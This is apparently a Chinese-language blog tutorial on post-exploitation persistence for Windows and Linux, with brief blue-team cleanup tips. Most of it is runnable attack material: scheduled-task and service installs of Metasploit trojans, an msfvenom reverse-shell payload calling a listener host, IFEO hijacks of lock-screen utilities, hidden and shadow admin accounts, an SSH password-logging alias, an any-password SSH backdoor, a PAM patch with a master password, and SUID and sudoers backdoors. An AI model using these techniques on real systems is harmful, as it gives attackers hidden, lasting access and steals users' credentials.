权限维持

权限维持

Windows 权限维持

当对一个操作系统拿到了最高的管理员权限后进行的渗透步骤(实际工作需要授权才可以)。

计划任务

GUI

win + r ==> taskschd.msc image-20250826203842965

使用命令行创建计划任务

  • at:Windows vista 之前的计划任务程序
  • 🌟schtasks:Windows vista 之后的计划任务程序

创建计划任务

schtasks /create /tn "计划任务的名称" /tr "计划任务实际要运行的exe程序的绝对路径" /sc minute /mo 1
    # /create 创建一个新的计划任务
    # /tn 计划任务的名字
    # /tr 计划任务实际要运行的 exe 程序的绝对路径
    # /sc 调度
	# /sc minute /mo 1 每分钟执行一次计划任务

权限维持应用: 创建一个计划任务,定时运行 Metasploit 生成的恶意 EXE 文件(如木马),实现持久化控制。

蓝队视角 – 入侵排查

  • 删除恶意计划任务

    schtasks /delete /tn "恶意计划任务的名称"
    ![image-20250826140014773](https://xiaqy-tu-chuang.oss-cn-beijing.aliyuncs.com/images/202508261400822.png)
    

    image-20250826140014773

镜像劫持(IFEO)

镜像文件执行选项(Image File Execution Options, IFEO)通过修改注册表,劫持指定程序的执行路径,常用于替换系统程序为恶意程序。

  • 注册表路径

    HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
    
  • 操作步骤(以劫持 notepad.execmd.exe 为例):

    1. 在上述注册表路径下创建新项,命名为被劫持程序名(如 notepad.exe)。 PixPin_2025-08-26_20-54-48
    2. 在新项中创建字符串值,命名为 DebuggerPixPin_2025-08-26_20-56-51
    3. 修改 Debugger 的值为目标程序的绝对路径(如 C:\Windows\System32\cmd.exe)。 PixPin_2025-08-26_20-59-15
  • 权限维持应用: 将系统程序(如 notepad.exe)劫持为 Metasploit 生成的木马文件,运行被劫持程序时实际执行木马。

  • 常用被劫持程序: 以下程序可在锁屏界面运行,适合用作劫持目标:

    • 粘滞键:sethc.exe
    • 放大镜:magnify.exe
    • 屏幕键盘:osk.exe
    • 轻松访问:utilman.exe
    • 讲述人:narrator.exe
  • 蓝队视角 – 入侵排查

    • 检查上述注册表路径,寻找异常的 Debugger 值。
    • 删除或修改可疑注册表项,恢复原程序路径。

后门用户

通过创建后门用户,攻击者可以在系统中保留管理员权限账户。

普通管理员用户

创建命令

net user userName password /add && net localgroup administrators userName /add
  • 说明:创建一个普通管理员用户,权限受限,非完整管理员权限。

隐藏用户

创建命令

net user userName$ password /add && net localgroup administrators userName$ /add
  • 说明:以 $ 结尾的用户名在 Windows 系统中为隐藏用户,难以通过常规方式发现。

蓝队视角 – 入侵排查

  • 检查管理员组

    net localgroup administrators
    

    image-20250826210348520

  • 控制面板查看: 打开 控制面板 -> 用户账户和家庭安全 -> 用户账户 -> 管理账户,检查异常账户。 image-20250826210442072

  • 注册表检查: 检查 HKLM\SAM\SAM\Domains\Account\Users\Names(需修改权限后查看)。 PixPin_2025-08-26_21-07-04

  • 删除后门用户

    net user userName /del
    

RID 劫持

功能:创建与 Administrator 权限相同的隐藏用户,登录后具有完整管理员权限。

操作步骤

  1. 创建隐藏用户:

    net user userName$ password /add
    
  2. 使用 Metasploit 上线,获取 SYSTEM 权限。

  3. 使用 Metasploit 模块 post/windows/manage/rid_hijackimage-20250826215015514

  4. 运行模块后,隐藏用户将具有与 Administrator 相同的权限,登录后显示用户名为 userName$,但实际权限和桌面环境为 AdministratorPixPin_2025-08-26_21-51-17

影子账户

功能:创建无法通过常规方式发现的隐藏用户,支持 RDP 登录,权限与 Administrator 一致。

操作步骤

  1. 创建隐藏用户:

    net user userName$ password /add
    
  2. 打开注册表,定位到 HKLM\SAM\SAM\Domains\Account\Users\Names,找到 Administrator 用户机器对应的 HEX 文件夹。 image-20250826211123319

  3. 复制 Administrator 用户对应 HEX 文件夹中的 F 值,粘贴到 userName$ 对应 HEX 文件夹的 F 值。 PixPin_2025-08-26_21-13-32

  4. 导出 userName$ 及其 HEX 文件夹为 .reg 文件。 PixPin_2025-08-26_21-15-59

  5. 删除 userName$ 用户:

    net user userName$ /del
    
  6. 导入导出的 .reg 文件(双击即可导入)。

  7. 此时 userName$ 用户即可恢复(userName$ 和 administrator 权限一致,在 net user 和控制面板中均无法找到 userName$ 用户),该用户支持 RDP 登录。

    PixPin_2025-08-26_21-20-06

蓝队视角 – 入侵排查

  • 影子账户仅在注册表中可见,net user 和控制面板无法发现。
  • 检查 HKLM\SAM\SAM\Domains\Account\Users\Names 下的异常用户。

开机自启动

通过注册表设置程序开机自启动,需用户登录后才会触发。

  • 注册表路径

    # 所有用户登录均触发
    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    
    # 仅当前用户登录触发
    HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    

    image-20250826212541516

操作步骤

  1. 在上述路径下创建字符串值,名称自定义,值为恶意程序的绝对路径。
  2. 用户登录后,恶意程序自动运行。

蓝队视角 – 入侵排查

  • 检查上述注册表路径,删除可疑的字符串值。

服务开机自启动

通过创建 Windows 服务实现开机自启动,即使未登录用户也会运行。

创建服务

sc create 服务名 binPath= "C:\path\to\malware.exe" start= auto
  • 注意:binPath=start= auto 中等号左右的空格要求严格,等号左边无空格,右边有空格。

生成服务型木马: 使用 Metasploit 生成服务型 EXE 文件,并设置服务开机自启动:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.126.99 lport=12345 -f exe-service -o 12345.exe
sc create 服务名 binPath= "C:\Windows\Temp\12345.exe" start= auto
  • 说明:Windows 服务会验证 EXE 是否为真实服务程序,需使用 -f exe-service 格式生成木马。

蓝队视角 – 入侵排查

  • 删除恶意服务

    sc delete 服务名
    
  • 检查服务: 使用 sc queryservices.msc 检查可疑服务。

Linux 权限维持

SSH 公钥权限维持

通过在目标机器上配置 SSH 公钥,攻击者可以实现持久化访问。

操作步骤

  1. 生成密钥对 在攻击机上生成 SSH 密钥对:

    ssh-keygen
    
  2. 追加公钥到目标机器 将生成的公钥写入目标用户的 SSH 配置文件:

    /root/.ssh/authorized_keys
    # 或
    /home/userName/.ssh/authorized_keys
    
  3. 通过私钥登录目标机器 使用私钥以指定用户身份登录:

    ssh userName@ip -i id_rsa
    

注意事项

  • Ubuntu/Debian 默认限制:默认配置下,Ubuntu/Debian 不允许 root 用户通过 SSH 登录,因此直接写入 root 用户的公钥可能无效。

  • 解决方案

    1. 修改 SSH 配置文件 /etc/ssh/sshd_config,将 PermitRootLogin 设置为 yes

      sed -i 's/#PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
      systemctl restart sshd
      
    2. 写入普通用户的公钥,结合 SUID 提权后门实现权限维持。

SSH 软链接

  1. 通过创建 SSH 软链接,攻击者可以在目标机器上启动一个匿名 SSH 服务,允许任意密码登录。

    操作步骤

    1. 定位 sshd 文件 查找目标机器上 sshd 文件的路径:

      whereis sshd
      
    2. 创建软链接sshd 文件创建软链接,例如链接至 /tmp/su

      ln -sf /usr/sbin/sshd /tmp/su
      
    3. 启动匿名 SSH 服务 使用软链接启动新的 SSH 服务,并指定端口:

      /tmp/su -oPort=[port]
      
    4. 登录验证 此时目标机器上运行了一个匿名 SSH 服务,攻击者可通过任意密码登录指定端口的 SSH 服务。 匿名 SSH 服务登录示例

SSH key logger 键盘记录

通过配置别名,记录目标用户通过 SSH 登录其他系统时输入的密码。

作用:当受害者登录到其他 Linux 系统 SSH 服务时,会记录登录时输入的密码,保存到 /tmp/sshpwdxxx 中。

操作步骤

创建 SSH 命令别名 在目标用户的环境中为 ssh 命令创建别名,记录输入的密码:

alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'

SSH 隐身登录

通过特殊 SSH 参数配置,隐藏登录痕迹,避免被 wlast 命令检测到。

操作步骤

隐身登录命令 使用以下命令进行隐身登录:

ssh -T userName@ip /bin/bash -i
# 或
ssh -o UserKnownHostsFile=/dev/null -T userName@ip /bin/bash -if
	# -T 参数禁用伪终端分配,减少登录痕迹。
	# -o UserKnownHostsFile =/dev/null 避免将目标主机信息记录到本地 known_hosts 文件

PAM 后门

通过修改 Linux 的 PAM(Pluggable Authentication Module)模块,创建自定义密码后门。

作用:PAM 是 Linux 系统的身份验证机制(pam_unix.so)。

操作步骤

  1. 查找 PAM 模块位置 定位目标机器上的 pam_unix.so 文件:

    find / -name "pam_unix.so" 2>/dev/null
    

    PAM 模块位置

  2. 下载并解压 PAM 源码 下载 Linux-PAM 源码并解压:

    wget https://ftp2.osuosl.org/pub/blfs/conglomeration/Linux-PAM/Linux-PAM-1.1.8.tar.bz2
    tar -xvf Linux-PAM-1.1.8.tar.bz2
    
  3. 修改 PAM 认证代码 进入解压后的目录 Linux-PAM-1.1.8/modules/pam_unix,编辑 pam_unix_auth.c 文件,在密码验证函数中添加以下代码:

    if (strcmp("[password]", p) == 0) {
        return PAM_SUCCESS;
    }
    	// 增加的代码意思为:
    	// 比较 p 是否等于 [password],[password] 可以自定义
    	// 若等于,则会返回 PAM_SUCCESS,表明身份验证成功
    

    此代码允许使用自定义密码 [password] 绕过身份验证。 修改 PAM 代码

  4. 安装编译工具并编译 确保当前目录包含 configure 文件,安装必要的编译工具并编译:

    apt install -y gcc flex make
    ./configure --prefix=/usr --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
    make
    
  5. 替换 PAM 模块 备份原有 pam_unix.so 文件,并替换为新编译的模块:

    cp /usr/lib/x86_64-linux-gnu/security/pam_unix.so /usr/lib/x86_64-linux-gnu/security/pam_unix.so.bak
    cp /tmp/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib/x86_64-linux-gnu/security/pam_unix.so
    
  6. 验证后门 使用设置的 [password] 登录任意用户,正常用户及其密码登录不受影响。 PAM 后门登录

注意事项

  • 编译和替换操作需 root 权限。
  • 确保备份原始 pam_unix.so 文件,以防系统认证出现问题。

suid 后门

通过为特定命令设置 SUID 权限,允许普通用户以 root 权限执行命令。

操作步骤

  1. 创建普通用户 新建一个普通用户用于后续操作。

  2. 设置 SUID 权限 为存在提权可能的命令(如 find)添加 SUID 权限:

    chmod u+s /usr/bin/find
    
  3. 查找提权方式 使用 GTFOBins 查找可利用的 SUID 提权命令:

    find / -perm -u=s -type f 2>/dev/null
    

注意事项

  • 确保目标命令具有可利用的提权特性。

sudo 后门

通过修改 /etc/sudoers 文件,赋予普通用户无密码执行 root 权限的能力。

操作步骤

  1. 创建普通用户 新建一个普通用户。

  2. 修改 sudoers 文件 编辑 /etc/sudoers 文件,添加以下内容:

    [userName] ALL=(ALL:ALL) NOPASSWD:ALL
    
  3. 提权验证 使用普通用户登录后,执行以下命令获取 root 权限:

    sudo bash
    

注意事项

  • 若 root 权限丢失,可通过普通用户登录并执行 sudo bash 恢复 root 权限。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇